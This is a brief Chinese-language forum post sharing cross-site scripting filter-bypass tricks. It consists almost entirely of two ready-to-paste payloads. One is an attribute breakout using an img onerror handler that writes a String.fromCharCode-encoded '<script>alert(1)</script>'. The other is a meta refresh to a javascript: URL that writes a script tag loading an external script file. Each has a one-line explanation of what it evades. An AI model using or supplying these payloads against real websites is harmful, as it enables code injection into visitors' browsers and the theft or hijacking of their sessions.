发一些我常用的Xss技巧,希望大家可以一起发出来探讨

在网页过滤了<script和单引号的情况下可以使用代码
"><img src="" onerror="document.write(String.fromCharCode(60)+String.fromCharCode(115)+String.fromCharCode(99)+String.fromCharCode(114)+String.fromCharCode(105)+String.fromCharCode(112)+String.fromCharCode(116)+String.fromCharCode(62)+String.fromCharCode(97)+String.fromCharCode(108)+String.fromCharCode(101)+String.fromCharCode(114)+String.fromCharCode(116)+String.fromCharCode(40)+String.fromCharCode(49)+String.fromCharCode(41)+String.fromCharCode(60)+String.fromCharCode(47)+String.fromCharCode(115)+String.fromCharCode(99)+String.fromCharCode(114)+String.fromCharCode(105)+String.fromCharCode(112)+String.fromCharCode(116)+String.fromCharCode(62))">
绕过,上面write中内容输出的结果是<script>alert(1)</script>

遇到过滤<script>无法调用js的时候也可以用类似的代码突破
"><meta http-equiv="Refresh" content="0;url=javascript:document.write(String.fromCharCode(60)+String.fromCharCode(115)+String.fromCharCode(99)+String.fromCharCode(114)+String.fromCharCode(105)+String.fromCharCode(112)+String.fromCharCode(116)+String.fromCharCode(32)+String.fromCharCode(115)+String.fromCharCode(114)+String.fromCharCode(99)+String.fromCharCode(61)+String.fromCharCode(120)+String.fromCharCode(120)+String.fromCharCode(120)+String.fromCharCode(62)+String.fromCharCode(60)+String.fromCharCode(47)+String.fromCharCode(115)+String.fromCharCode(99)+String.fromCharCode(114)+String.fromCharCode(105)+String.fromCharCode(112)+String.fromCharCode(116)+String.fromCharCode(62))>
上面代码是跳转url到javascript:document.write("<script src=xxx></script>")
也就是调用js文件xxx